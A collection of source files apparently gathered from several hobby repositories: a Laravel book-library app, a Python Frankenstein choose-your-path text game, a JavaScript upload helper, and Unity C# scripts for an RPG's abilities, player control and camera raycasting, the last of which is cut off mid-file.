$table->bigInteger('jenis_buku_id')->unsigned();
$table->foreign('jenis_buku_id')->references('id')->on('jenis_buku')->onDelete('cascade')->onUpdate('cascade');
$table->bigInteger('pengarang_id')->unsigned();
$table->foreign('pengarang_id')->references('id')->on('pengarang')->onDelete('cascade')->onUpdate('cascade');
$table->bigInteger('penerbit_id')->unsigned();
$table->foreign('penerbit_id')->references('id')->on('penerbit')->onDelete('cascade')->onUpdate('cascade');
$table->bigInteger('tahun_terbit_id')->unsigned();
$table->foreign('tahun_terbit_id')->references('id')->on('tahun_terbit')->onDelete('cascade')->onUpdate('cascade');
$table->text('sinopsis')->nullable();
$table->string('path')->nullable();
$table->string('nama')->nullable();
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('buku');
}
}
<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Yajra\DataTables\DataTables;
use App\JenisBuku;
use App\Penerbit;
use App\Pengarang;
use App\TahunTerbit;
class HomeController extends Controller
{
public function __construct()
{
$this->middleware('auth');
}
public function index()
{
$jenis_buku = JenisBuku::all();
$pengarang = Pengarang::all();
$penerbit = Penerbit::all();
$tahun_terbit = TahunTerbit::all();
return view('home', compact('jenis_buku', 'pengarang', 'penerbit', 'tahun_terbit'));
}
}
<file_sep><?php
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
use App\JenisBuku;
use App\Penerbit;
use App\Pengarang;
use App\TahunTerbit;
// Route::get('/', function () {
// $jenis_buku = JenisBuku::all();
// $pengarang = Pengarang::all();
// $penerbit = Penerbit::all();
// $tahun_terbit = TahunTerbit::all();
// return view('welcome', compact('jenis_buku', 'pengarang', 'penerbit', 'tahun_terbit'));
// });
// Route::get('/', 'KategoriController@index');
//RESOURCE
Route::resource('user', 'UserController');
Route::resource('kategori', 'KategoriController');
Route::resource('jenis-buku', 'JenisBukuController');
Route::resource('pengarang', 'PengarangController');
Route::resource('penerbit', 'PenerbitController');
Route::resource('tahun-terbit', 'TahunTerbitController');
Route::resource('buku', 'BukuController');
//Datatable
Route::get('/datatable/user', 'UserController@datatable')->name('datatable_user');
Route::get('/datatable/jenis-buku', 'JenisBukuController@datatable')->name('datatable_jenis_buku');
Route::get('/datatable/pengarang', 'PengarangController@datatable')->name('datatable_pengarang');
Route::get('/datatable/penerbit', 'PenerbitController@datatable')->name('datatable_penerbit');
Route::get('/datatable/tahun-terbit', 'TahunTerbitController@datatable')->name('datatable_tahun_terbit');
Route::get('/datatable/buku', 'BukuController@datatable')->name('datatable_buku');
Route::get('/datatable/welcome', 'KategoriController@datatable_welcome')->name('datatable_welcome');
//DOWNLOAD FILE
Route::get('/download-file/{id}', 'BukuController@download_pdf')->name('download.file');
//UBAH PROFIL
Route::post('/ubah-profil', 'UserController@ubah_profil')->name('user.profil');
Auth::routes();
Route::get('/', 'HomeController@index')->name('home');
<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Yajra\DataTables\DataTables;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Facades\Auth;
use File;
use App\Buku;
use App\JenisBuku;
use App\Pengarang;
use App\Penerbit;
use App\TahunTerbit;
class BukuController extends Controller
{
public function __construct()
{
$this->middleware('auth');
}
public function index()
{
$jenis_buku = JenisBuku::all();
$pengarang = Pengarang::all();
$penerbit = Penerbit::all();
$tahun_terbit = TahunTerbit::all();
return view('Buku.index', compact('jenis_buku', 'pengarang', 'penerbit', 'tahun_terbit'));
}
public function create()
{
}
public function store(Request $request)
{
$id = $request->id;
//ini dijalankan jika file path berisi data
if($request->hasFile('path')){
$file = $request->file('path');
$nama = $file->getClientOriginalName();
$path = $file->store('buku');
$data = Buku::findOrFail($id);
Storage::delete($data->path);
$post = Buku::updateOrCreate(['id' => $id], //id akan digunakan jika melakukan proses ubah data
['judul_buku' => $request->judul_buku,
'jenis_buku_id' => $request->jenis_buku_id,
'pengarang_id' => $request->pengarang_id,
'penerbit_id' => $request->penerbit_id,
'tahun_terbit_id' => $request->tahun_terbit_id,
'sinopsis' => $request->sinopsis,
'path' => $path,
'nama' => $nama]
);
}
//ini dijalankan jika file path tidak diisi
else{
$post = Buku::updateOrCreate(['id' => $id], //id akan digunakan jika melakukan proses ubah data
['judul_buku' => $request->judul_buku,
'jenis_buku_id' => $request->jenis_buku_id,
'pengarang_id' => $request->pengarang_id,
'penerbit_id' => $request->penerbit_id,
'tahun_terbit_id' => $request->tahun_terbit_id,
'sinopsis' => $request->sinopsis]
);
}
return response()->json($post);
}
// public function store(Request $request)
// {
// $file = $request->file('path');
// $nama = $file->getClientOriginalName();
// $path = $file->store('buku');
// $input = Buku::create([
// 'judul_buku' => $request->judul_buku,
// 'jenis_buku_id' => $request->jenis_buku_id,
// 'pengarang_id' => $request->pengarang_id,
// 'penerbit_id' => $request->penerbit_id,
// 'tahun_terbit_id' => $request->tahun_terbit_id,
// 'sinopsis' => $request->sinopsis,
// 'path' => $path,
// 'nama' => $nama
// ]);
// return response()->json($input);
// }
public function show($id)
{
//
}
public function edit($id)
{
$where = array('id' => $id);
$post = Buku::where($where)->first();
return response()->json($post);
}
public function update(Request $request, $id)
{
}
public function destroy($id)
{
$post = Buku::where('id',$id)->delete();
return response()->json($post);
}
public function download_pdf($id){
$file = Buku::find($id);
return response()->download('upload/'.$file->path, $file->nama);
}
public function datatable()
{
$data = Buku::all();
return Datatables::of($data)
->addColumn('action', function($data) {
if(Auth::user()->role == 'Admin'){
$button = '<a href="javascript:void(0)" data-id="'.$data->id.'" class="btn btn-info btn-sm btn-ubah-buku" data-toggle="tooltip"><i class="far fa-edit"></i></a>';
$button .= ' ';
$button .= '<button type="button" name="delete" id="'.$data->id.'" class="btn btn-danger btn-sm btn-hapus-buku"><i class="far fa-trash-alt"></i></button>';
$button .= ' ';
$button .= '<a href="/E-Literature/download-file/'.$data->id.'" class="btn btn-info btn-sm" data-toggle="tooltip"><i class="fas fa-download"></i></a>';
return $button;
}
elseif(Auth::user()->role == 'User'){
$button = '<a href="/E-Literature/download-file/'.$data->id.'" class="btn btn-info btn-sm" data-toggle="tooltip"><i class="fas fa-download"></i> Unduh</a>';
return $button;
}
})
->addColumn('jenis_buku', function($data) {
return $data->jenis_buku['jenis_buku'];
})
->addColumn('pengarang', function($data) {
return $data->pengarang['pengarang'];
})
->addColumn('penerbit', function($data) {
return $data->penerbit['penerbit'];
})
->addColumn('tahun_terbit', function($data) {
return $data->tahun_terbit['tahun_terbit'];
})
->addIndexColumn()->make(true);
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class JenisBuku extends Model
{
protected $table = 'jenis_buku';
protected $fillable = [
'jenis_buku'
];
//Membuat relasi Many ke model/tabel jenis_buku
//jenis_buku bisa mempunyai banyak buku
public function buku()
{
return $this->hasMany('App\Buku');
}
}
<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Yajra\DataTables\DataTables;
use App\Buku;
use App\JenisBuku;
use App\Penerbit;
use App\Pengarang;
use App\TahunTerbit;
class KategoriController extends Controller
{
public function index()
{
$jenis_buku = JenisBuku::all();
$pengarang = Pengarang::all();
$penerbit = Penerbit::all();
$tahun_terbit = TahunTerbit::all();
return view('welcome', compact('jenis_buku', 'pengarang', 'penerbit', 'tahun_terbit'));
}
public function create()
{
//
}
public function store(Request $request)
{
}
public function show($id)
{
//
}
public function edit($id)
{
}
public function update(Request $request, $id)
{
//
}
public function destroy($id)
{
}
public function datatable_welcome()
{
$data = Buku::all();
return Datatables::of($data)
->addColumn('action', function($data) {
$button = '<a href="javascript:void(0)" data-id="'.$data->id.'" class="btn btn-info btn-sm btn-ubah-buku" data-toggle="tooltip"><i class="far fa-edit"></i></a>';
$button .= ' ';
$button .= '<button type="button" name="delete" id="'.$data->id.'" class="btn btn-danger btn-sm btn-hapus-buku"><i class="far fa-trash-alt"></i></button>';
return $button;
})
->addColumn('jenis_buku', function($data) {
return $data->jenis_buku['jenis_buku'];
})
->addColumn('pengarang', function($data) {
return $data->pengarang['pengarang'];
})
->addColumn('penerbit', function($data) {
return $data->penerbit['penerbit'];
})
->addColumn('tahun_terbit', function($data) {
return $data->tahun_terbit['tahun_terbit'];
})
->addIndexColumn()->make(true);
}
}
| d1491d165308762a3482461c206f117029e56057 | [
"PHP"
] | 9 | PHP | Refandi/E-Literature | 2f17b4cf9e8e756c8067ca248d63c97aa713f0d7 | 23e28b26e2be66f8d513645a51947acb38d058f3 |
refs/heads/master | <repo_name>yoana19/Frankenstein-Text-Game<file_sep>/FrankensteinProject.py
while True:
print("\n")
print('^'*80)
print("\n")
print("# Copyright 2018 <NAME>")
print('\n')
print ('-'*80)
print('Frankenstein - The Game'.title())
print("\n")
print ("Welcome to Frankenstein! You are going to be <NAME> and encounter all the difficulties of life while following your passion.")
print('\n')
print('In the game you can only answer with "yes" or "no". If you write something else the whole game will restart and you will lose your progress <3')
print('\n')
print ('^'*80)
print ("You are an only child and you live in Geneva. You have a lovely family." )
print ('\n')
anw1 = input("Do you want a sister?")
print('\n')
if anw1 == "yes":
print ("Your family adopts a girl. She has blue eyes and blond hair. As the years are passing you fall in love with her.")
elif anw1 == "no":
print ("You don't have the right to vote. Your family adopts a girl. She has blue eyes and blond hair. As the years are passing you fall in love with her.")
else:
print ("Invalid answer.")
continue
print ('\n')
print('Time is passing and you grow up with passion to explore and learn new things. One day a friend of your father comes and tells you new things about science. You have the opportunity to go to university but your best friend cannot come with you.')
print ('\n')
anw2 = input("Will you go to The University of Ingolstadt?")
if anw2 == "yes":
print('\n')
print("Ok. You go when you are 17 years old.")
elif anw2 == "no":
print ('\n')
anw3 = input("Do you want to study law in the nearest university?")
if anw3 == "yes":
print ('\n')
print("You go to The University of Geneva")
print("You get into a bad social circle, start smoking, drinking and taking drugs and soon die because of a disease.")
continue
print('\n')
elif anw3 == "no":
print ('\n')
anw4 = input("Do you want to start helping a local farmer?")
if anw4 == "yes":
print ('\n')
print("This will be your new future.")
print("The farmer soon dies and the farm is yours now.")
print("You hire people to work for you and then go home.")
print("You live happy and peaceful life.")
continue
print("\n")
elif anw4 == "no":
print ('\n')
print("You get so bored and tired of your life so you don't have any will to live. You commit suicide.")
continue
print('\n')
else:
print("Invalid answer.")
continue
print('\n')
else:
print ("Invalid answer.")
continue
print('\n')
else:
print("Invalid answer.")
continue
print ('\n')
print("Your mother catches scarlet fever and she dies.")
print ('\n')
anw5 = input("Will you be next to your sister?")
if anw5 == "yes":
print ('\n')
print("You stay with your sister and as your mom wanted you propose to her and soon get married.")
print ('\n')
anw6 = input("Do you want children?")
print ('\n')
if anw6 == "yes":
print("*3 years later* Now you have 2 children: a boy and a girl. You named them Jack and Anne.")
print ('\n')
anw7 = input("Your wife wants more kids, do you?")
print ('\n')
if anw7 == "yes":
print("*5 years later*")
print("\n")
print("Now you have 6 children-Jack, Anne, Richard, Tom, Jane and Amelia.")
print("You spend the next 15 years taking care of your kids.")
print("One day when you are out to get the newspaper, you get shot by a mysterious figure standing across the street.")
continue
print("\n")
elif anw7 == "no":
print('\n')
print("She wants to leave you and take the children with her.")
print("\n")
anw8 = input("Will you try to stop her?")
print("\n")
if anw8 == "yes":
print("She listens to you and stays.")
print("One night she kills you while you are sleeping.")
continue
print('\n')
elif anw8 == "no":
print("You are alone now.")
print("You start drinking and smoking and after a couple of years you get a rare disease.")
print("Doctors are unable to save you so you die.")
continue
print('\n')
else:
print("Invalid answer.")
continue
print('\n')
else:
print("Invalid answer.")
continue
print('\n')
elif anw6 == "no":
print("She says that she is going to kill herself because that means you don't love her anymore.")
print('\n')
anw9 = input("Do you love her?")
print("\n")
if anw9 == "yes":
print("She doesn't believe you. She stabs herself with a knive.")
print("One afternoon while you are reading a book, you suddenly receive a heart attack and die.")
continue
print('\n')
elif anw9 == "no":
print("She gets angry. In a moment of insanity she stabs you exactly where your heart is and you die within a few minutes.")
continue
print("\n")
else:
print("Invalid answer.")
continue
print('\n')
else:
print("Invalid answer.")
continue
print('\n')
elif anw5 == "no":
print('\n')
print("You go to the university of Ingolstadt.")
print("You meet professor Krempe.")
print("You talk to him and he says that you have wasted your time studying the alchemists.")
print("You attend a chemistry lecture and decide that this will be your future.")
print('\n')
else:
print("Invalid answer.")
continue
print('\n')
print("Years are passing and you study anatomy, death and decay.")
print("You discover the secret of life.")
print("You start working on creating a creature.")
print("\n")
print("*a few years later*")
print("\n")
print(" |--|--|--|--|--| ")
print(" | - | | ")
print(" | - | | ")
print(" | = = | ")
print(" | - || | ")
print(" | - | ")
print(" | ------ | ")
print(" | - | ")
print(" ==|____________|== ")
print("\n")
print("One stormy night you complete your creature. You are terrified from his look and go to bed but have nightmares.")
print("You get up in the morning and find the creature sitting on your bed smiling.")
print('\n')
anw10 = input("Will you run out of your home?")
print("\n")
if anw10 == "yes":
print("You go outside.")
print("You walk down the streets for some time and then go to an inn.")
elif anw10 == "no":
print("The monster grabs you and eats you alive.")
print("You die.")
continue
else:
print("Invalid answer.")
continue
print('\n')
print("Your best-friend <NAME> arrives.")
print("He tells you that your family is well.")
print("\n")
anw11 = input("Will you go home with him?")
print("\n")
if anw11 == "yes":
print("You go home.")
print("The monster isn't there.")
print("You are happy.")
elif anw11 == "no":
print("You get drunk.")
print("When you are walking home, a car hits you because you are in the middle of the street.")
continue
else:
print("Invalid answer.")
continue
print('\n')
print("\n")
print("You get ill.")
print("Henry nurses you back to health and you recover.")
print("Then he gives you a letter from Elizabeth.")
print("She expresses her concern about your illness and entreats you to write to your family in Geneva as soon as you can.")
print("Then your father sends you a letter which says that your brother Williams is dead and your father begs you to go home.")
print("\n")
anw12 = input("Will you go back to your family?")
print("\n")
if anw12 == "yes":
print("You go to Geneva.")
print("You visit the place where your brother was found dead.")
print("You see the monster in the near trees but it disappears.")
print("\n")
elif anw12 == "no":
print("You continue working.")
print("One day your neighbors find out about the creature and set your home on fire.")
print("You die.")
continue
print("\n")
else:
print("Invalid answer.")
continue
print('\n')
anw13 = input("Will you tell everyone about the monster?")
print("\n")
if anw13 == "yes":
print("Your family thinks that you have gone mad and sends you to a psychiatric hospital.")
print("After a couple weeks, the man that you share room with, kills you in your sleep.")
continue
print("\n")
elif anw13 =="no":
print("You decide to keep it to yourself because no one will believe you.")
else:
print("Invalid answer.")
continue
print('\n')
print("Everyone believes that the housemaid, Justine, killed your brother.")
print("After a long trial, she is sentenced to death.")
print("\n")
anw14 = input("Will you go on a journey through the mountains?")
print("\n")
if anw14 == "yes":
print("On one of the trips, you go into the valley of Chamonix.")
print("You pass beautiful green fields, villages and rushed castles.")
print("You spent the night in an inn.")
print("\n")
elif anw14 == "no":
print("After a couple days, you die because of depression.")
continue
print("\n")
else:
print("Invalid answer.")
continue
print("\n")
print("You decide to climb the mountain of Montanvert.")
print("After some time, you find a shelter.")
print("In the distance you see a huge figure coming towards you.")
print("You realise this is your creature.")
print("\n")
anw15 = input("Will you attack the creature?")
print("\n")
if anw15 == "yes":
print("You attack the creature multiple times.")
print("This pisses him off and he takes off your head.")
continue
print("\n")
elif anw15 == "no":
print("The monster goes into the shelter.")
print("At first, you refuse to go with him, but then you change your mind.")
print("It starts telling you its story.")
print("\n")
else:
print("Invalid answer.")
continue
print("\n")
print("The creature has suffered a lot.")
print("It was chased by people and hurt.")
print("It has found a cottage in the forest and has stayed in a pigsty.")
print("The family that lived there was sad and the creature felt sad for them.")
print("The monster has learnt a lot of things since it was created.")
print("The family found out about it and decided to move out of the cottage.")
print("The monster decided to travel to Geneva to find you in order to help him.")
print("After killing your brother, the creature goes to the mountains.")
print("The monster wants a female companion.")
print("\n")
anw16 = input("Will you create one for him?")
print("\n")
if anw16 == "yes":
print("You agree to make a female for the creature.")
elif anw16 == "no":
print("The monster starts screaming and hits you on the head.")
print("You fall and after a few minutes, you die.")
continue
print("\n")
else:
print("Invalid answer.")
continue
print("\n")
print("You travel back home.")
print("\n")
anw17 = input("Will you travel to begin working on the female companion?")
print("\n")
if anw17 == "yes":
print("You go to Strasbourg.")
print("You meet your friend, Clerval.")
print("\n")
elif anw17 == "no":
print("You stay home.")
print("Soon you marry Elizabeth.")
print("One night the monster comes and kills Elizabeth.")
print("You are so sad and you decide to end the pain.")
continue
print("\n")
else:
print("Invalid answer.")
continue
print("\n")
print("You start working on the second creature.")
print("After a few weeks, you are nearly finished.")
print("You see the monster standing in front of the window.")
print("It is smiling.")
print("\n")
anw18 = input("Will you destroy the female monster?")
print("\n")
if anw18 == "yes":
print("The creature says that it will ruin your life.")
print("It disappears into the night.")
print("\n")
elif anw18 =="no":
print("You bring the female monster to life.")
print("The creature takes her.")
print("She did not love him and he decided to come and kill you.")
continue
print("\n")
else:
print("Invalid answer.")
continue
print("\n")
print("You friend, Clerval, sends you a letter, saying that he wants to meet you.")
print("\n")
anw19 = input("Will you go see him?")
print("\n")
if anw19 == "yes":
print("You leave after two days.")
elif anw19 == "no":
print("The monster returns after a couple of months.")
print("It grabs you and tears you into pieces.")
continue
print("\n")
else:
print("Invalid answer.")
continue
print("\n")
print("You get on a boat alone and set off.")
print("You sleep on the boat and the wind takes you away from the shore.")
print("After many hours you see a land.")
print("\n")
anw20 = input("Will you go there?")
print("\n")
if anw20 == "yes":
print("The people there are angry and they are waiting for you.")
elif anw20 == "no":
print("You continue to sail.")
print("Soon a big shark turns the boat over and eats you alive.")
continue
print("\n")
else:
print("Invalid answer.")
continue
print("\n")
print("You find out you are in Ireland.")
print("A man tells you that you have to speak with <NAME>.")
print("You learn that a man was strangled last night.")
print("People saw a boat like yours near the shore that night.")
print("<NAME> takes you to see the body.")
print("The body belongs to your friend, Clerval.")
print("\n")
anw21 = input("Will you say that you are the murderer?")
print("\n")
if anw21 == "yes":
print("You are sent to court.")
print("You are sentenced to death.")
print("You are hanged the next day.")
elif anw21 == "no":
print("You get sick for a couple months and you are put in a room in a prison.")
else:
print("Invalid answer.")
continue
print("\n")
print("Your father comes to visit you.")
print("You are released from prison when you are proven to be innocent for the death of Clerval.")
print("You leave Ireland.")
print("Soon you arrive in Paris.")
print("Elizabeth sends you a letter saying you may not love her anymore.")
print("\n")
anw22 = input("Will you write her back?")
print("\n")
if anw22 == "yes":
print("You say that you will marry her as soon as possible.")
elif anw22 == "no":
print("Months are passing.")
print("One day you receive a letter saying that Elizabeth has died.")
print("The monster has kept its promise...")
continue
print("\n")
else:
print("Invalid answer.")
continue
print("\n")
print("You leave Paris.")
print("After a few days you are home.")
print("\n")
print("*ten days later*")
print("\n")
print("You get married.")
print("You take off on boat to hotel in Evian.")
print("You go to an inn there and soon you send Elizabeth to sleep.")
print("\n")
anw23 = input("Will you follow her?")
print("\n")
if anw23 == "yes":
print("You start climbing the stairs.")
print("You trip and fall.")
print("You hit your head and die after a few minutes.")
continue
print("\n")
elif anw23 == "no":
print("You decide to look for the monster.")
print("You hear a terrible scream, which is followed by a second one.")
print("You rush into the room and see Elizabeth lying lifeless on the bed.")
else:
print("Invalid answer.")
continue
print("\n")
print("The monster is at the window and it is smiling at you.")
print("It disappears into the lake.")
print("You leave Evian.")
print("Your father is heartbroken when you tell him what has happened.")
print("\n")
print("*time is passing*")
print("\n")
print("You find yourself in a prison cell because people think you have gone mad.")
print("Soon you are released and you remember what has happened.")
print("\n")
anw24 = input("Will you talk to a judge?")
print("\n")
if anw24 == "yes":
print("You tell him your story.")
elif anw24 == "no":
print("This time you really go mad and decide to end your life.")
print("You drown in the nearest lake.")
continue
print("\n")
else:
print("Invalid answer.")
continue
print("\n")
print("He says that he will not be able to find the monster.")
print("You leave his house filled with anger.")
print("\n")
anw25 = input("Will you leave Geneva?")
print("\n")
if anw25 == "yes":
print("You get some money and leave.")
elif anw25 == "no":
print("You decide to kill the judge.")
print("Soon you are found guilty and sentenced to death.")
continue
print("\n")
else:
print("Invalid answer.")
continue
print("\n")
print("You go to the cemetery where your relatives are buried.")
print("You promise to kill the monster.")
print("You hear an evil laugh from behind.")
print("You go to the place where the sound came from but the creature is already gone.")
print("\n")
print("In the following months you are travelling around the world.")
print("You are chasing the monster.")
print("You go north and see the creature not far away from you on a sledge.")
print("You are ill and cold.")
print("You are rescued by men.")
print("They take on a ship and take care of you.")
print("\n")
anw26 = input("Will you tell your story to the captain?")
print("\n")
if anw26 == "yes":
print("You start telling him your story.")
print("It takes you a week.")
elif anw26 == "no":
print("He gets mad.")
print("He takes out his pistol and shoots you.")
continue
print("\n")
else:
print("Invalid answer.")
continue
print("\n")
print("When you finish your story, you find out that he has been writing it.")
print("You read the story and make some corrections to it.")
print("You die peacefully...")
print("\n")
print("THE END")
print("\n")
print("RESOURCES")
print("Frankenstein. SparkNotes, www.sparknotes.com/lit/frankenstein/. Accessed 1 June /n 2018.")
print("<NAME>. ELI Publishing, 2009.")
| 63f6d7260bf844f151e25d3a5f080e5758fd3b55 | [
"Python"
] | 1 | Python | yoana19/Frankenstein-Text-Game | f13a3c0f8351a3103d0413cb97bd069f5d229f21 | 75e64a58dbb5e89835f35f1147615f2b68cfc6be |
refs/heads/master | <repo_name>ljlbak/dhtml<file_sep>/js/upload.js
function uploadFile(url,files,options) {
var xhr = new XMLHttpRequest();
xhr.open('POST', url, true);
var formData;
// 用FormData来发送二进制文件.首先在HTML中要有一个包含了文件输入框的form元素
formData = new FormData();
formData.append('key', key);
formData.append('token', token);
formData.append('file', f);
var taking;
xhr.upload.addEventListener("progress", function(evt) {
if(options.progress){
options.progress(evt);
}
}, false);
xhr.onreadystatechange = function(response) {
if (xhr.readyState == 4 && xhr.status == 200 && xhr.responseText != "") {
options.success(response,xhr);
} else if (xhr.status != 200 && xhr.responseText) {
if(options.error){
options.error(response,xhr);
}
}
};
xhr.send(formData);
} | 1bb3a97898c699b8f9ae7d9b9c331bbafab009df | [
"JavaScript"
] | 1 | JavaScript | ljlbak/dhtml | dd6b9276900952f5d78e9b26d2bec2158e436279 | 6e61ab9e927f762c2080a4622dafe9556b95bf90 |
refs/heads/master | <repo_name>spuzz/Dragon_Hunter<file_sep>/Assets/Characters/SpecialAbilities/Whirlwind/WhirlwindBehaviour.cs
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace RPG.Characters
{
public class WhirlwindBehaviour : AbilityBehaviour
{
public override void Use(GameObject target = null)
{
DealAoeDamage();
PlayParticleEffect();
PlayAbilitySound();
PlayAnimation();
}
private void DealAoeDamage()
{
Collider[] hits = Physics.OverlapSphere(gameObject.transform.position, (config as WhirlwindConfig).GetRadius());
foreach (Collider hit in hits)
{
HealthSystem enemyHealth = hit.gameObject.GetComponent<HealthSystem>();
if (enemyHealth)
{
enemyHealth.TakeDamage((config as WhirlwindConfig).GetDamage());
}
}
}
}
}
<file_sep>/Assets/Characters/SpecialAbilities/SelfHeal/SelfHealConfig.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace RPG.Characters
{
[CreateAssetMenu(menuName =("RPG/Special Ability/SelfHeal"))]
public class SelfHealConfig : AbilityConfig
{
[Header("Self Heal Specific")]
[SerializeField] float heal = 100f;
public override AbilityBehaviour GetBehaviourComponent(GameObject gameObjectToAttachTo)
{
return gameObjectToAttachTo.AddComponent<SelfHealBehaviour>();
}
public float GetHeal()
{
return heal;
}
}
}
<file_sep>/Assets/Characters/Scripts/SpecialAbilities.cs
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
namespace RPG.Characters
{
public class SpecialAbilities : MonoBehaviour
{
[SerializeField] List<AbilityConfig> abilities;
[SerializeField] Image energyBar;
[SerializeField] float maxEnergyPounts = 100f;
[SerializeField] float regenPerSecond = 1f;
[SerializeField] AudioClip outOfEnergy;
AudioSource audioSource;
// todo add outOfEnergy
float currentEnergyPoints;
public float energyAsPercentage { get { return currentEnergyPoints / (float)maxEnergyPounts; } }
// Use this for initialization
void Start()
{
audioSource = GetComponent<AudioSource>();
AttachInitialAbilities();
currentEnergyPoints = maxEnergyPounts;
UpdateEnergyBar();
}
public void AttemptSpecialAbility(int index, GameObject enemy = null)
{
var energyCost = abilities[index].GetEnergyCost();
if (IsEnergyAvailable(energyCost))
{
ConsumeEnergy(energyCost);
// todo make work
abilities[index].Use(enemy);
}
else
{
if(!audioSource.isPlaying)
{
audioSource.PlayOneShot(outOfEnergy);
}
}
}
public int GetNumberOfAbilities()
{
return abilities.Count;
}
public bool IsEnergyAvailable(float amount)
{
return amount <= currentEnergyPoints;
}
public void ConsumeEnergy(float energyUsed)
{
currentEnergyPoints = Mathf.Clamp(currentEnergyPoints - energyUsed, 0, maxEnergyPounts);
UpdateEnergyBar();
}
private void AttachInitialAbilities()
{
foreach (AbilityConfig ability in abilities)
{
ability.AddComponent(gameObject);
}
}
void Update()
{
if (currentEnergyPoints < maxEnergyPounts)
{
AddEnergyPoints();
UpdateEnergyBar();
}
}
private void AddEnergyPoints()
{
var pointsToAdd = regenPerSecond * Time.deltaTime;
currentEnergyPoints = Mathf.Clamp(currentEnergyPoints + pointsToAdd,0, maxEnergyPounts);
}
private void UpdateEnergyBar()
{
//float xValue = -(energyAsPercentage / 2f) - 0.5f;
if(energyBar)
{
energyBar.fillAmount = energyAsPercentage;
}
}
}
}
<file_sep>/Assets/Characters/Scripts/WaypointContainer.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace RPG.Characters
{
public class WaypointContainer : MonoBehaviour
{
// Use this for initialization
void Start()
{
}
// Update is called once per frame
void Update()
{
}
private void OnDrawGizmos()
{
Transform currentTransform = null;
Transform initialTransform = gameObject.transform.GetChild(0);
for (int i = 0; i < gameObject.transform.childCount; i++)
{
Transform Go = gameObject.transform.GetChild(i);
// Draw attack sphere
Gizmos.color = new Color(255f, 0f, 0f, .5f);
Gizmos.DrawSphere(Go.position, 0.1f);
if (currentTransform)
{
// Draw Line
Gizmos.color = new Color(0f, 0f, 255f, .5f);
Gizmos.DrawLine(Go.position, currentTransform.position);
}
currentTransform = Go;
}
Gizmos.color = new Color(0f, 0f, 255f, .5f);
Gizmos.DrawLine(currentTransform.position, initialTransform.position);
}
}
}
<file_sep>/Assets/Characters/Player/PlayerControl.cs
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using RPG.CameraUI;
using RPG.Core;
using UnityEngine.SceneManagement;
namespace RPG.Characters
{
public class PlayerControl : MonoBehaviour
{
SpecialAbilities specialAbilties;
WeaponSystem weaponSystem;
Character character;
void Start()
{
character = GetComponent<Character>();
RegisterMouseClick();
specialAbilties = GetComponent<SpecialAbilities>();
weaponSystem = GetComponent<WeaponSystem>();
}
void Update()
{
ScanForAbilityKeyDown();
}
private void ScanForAbilityKeyDown()
{
for(int keyIndex = 1; keyIndex < specialAbilties.GetNumberOfAbilities(); keyIndex++)
{
if (Input.GetKeyDown(keyIndex.ToString()))
{
specialAbilties.AttemptSpecialAbility(keyIndex);
}
}
}
private void RegisterMouseClick()
{
var cameraRaycaster = Camera.main.GetComponent<CameraRaycaster>();
cameraRaycaster.onMouseOverEnemy += ProcessMouseOverEnemy;
cameraRaycaster.onMouseOverTerrain += ProcessMouseOverTerrain;
}
private void ProcessMouseOverTerrain(Vector3 destination)
{
if (Input.GetMouseButton(0) == true)
{
StopAllCoroutines();
weaponSystem.StopAttacking();
character.SetDestination(destination);
}
}
private void ProcessMouseOverEnemy(EnemyAI enemy)
{
if (Input.GetMouseButton(0) && IsTargetInRange(enemy.gameObject))
{
StopAllCoroutines();
weaponSystem.AttackTarget(enemy.gameObject);
}
else if (Input.GetMouseButton(0) && !IsTargetInRange(enemy.gameObject))
{
StopAllCoroutines();
StartCoroutine(MoveAndAttackTarget(enemy.gameObject));
}
else if (Input.GetMouseButtonDown(1) && IsTargetInRange(enemy.gameObject))
{
StopAllCoroutines();
specialAbilties.AttemptSpecialAbility(0, enemy.gameObject);
}
else if (Input.GetMouseButtonDown(1) && !IsTargetInRange(enemy.gameObject))
{
StopAllCoroutines();
StartCoroutine(MoveAndPowerAttackTarget(enemy.gameObject));
}
}
private IEnumerator MoveToTarget(GameObject enemy)
{
character.SetDestination(enemy.transform.position);
while (!IsTargetInRange(enemy.gameObject))
{
yield return new WaitForEndOfFrame();
}
yield return new WaitForEndOfFrame();
}
private IEnumerator MoveAndPowerAttackTarget(GameObject enemy)
{
yield return StartCoroutine(MoveToTarget(enemy));
specialAbilties.AttemptSpecialAbility(0, enemy.gameObject);
}
private IEnumerator MoveAndAttackTarget(GameObject enemy)
{
yield return StartCoroutine(MoveToTarget(enemy));
weaponSystem.AttackTarget(enemy);
}
private bool IsTargetInRange(GameObject target)
{
float distanceToTarget = (target.transform.position - transform.position).magnitude;
return distanceToTarget <= weaponSystem.GetWeaponConfig().GetMaxAttackRange();
}
}
}<file_sep>/README.md
# Dragon_Hunter
There be Dragons
<file_sep>/Assets/Camera UI/CameraRaycaster.cs
using UnityEngine;
using UnityEngine.EventSystems;
using System.Collections.Generic;
using RPG.Characters;
using System;
namespace RPG.CameraUI
{
public class CameraRaycaster : MonoBehaviour
{
float maxRaycastDepth = 100f; // Hard coded value
bool currentlyWalkable = false; // So get ? from start with Default layer terrain
const int POTENTIALLY_WALKABLE_LAYER = 8;
[SerializeField] Vector2 cursorHotspot = new Vector2(0, 0);
[SerializeField] Texture2D walkCursor = null;
[SerializeField] Texture2D enemyCursor = null;
Rect screenRect = new Rect(0, 0, Screen.width, Screen.height);
// New Delegates
public delegate void OnMouseOverEnemy(EnemyAI enemy); // declare new delegate type
public event OnMouseOverEnemy onMouseOverEnemy; // instantiate an observer set
public delegate void OnMouseOverTerrain(Vector3 destination); // declare new delegate type
